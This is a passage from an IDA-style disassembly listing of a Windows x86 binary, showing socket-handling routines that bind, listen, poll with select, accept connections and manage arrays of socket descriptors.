		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	ds:dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	ds:dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	ds:dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	ds:dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DE38, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
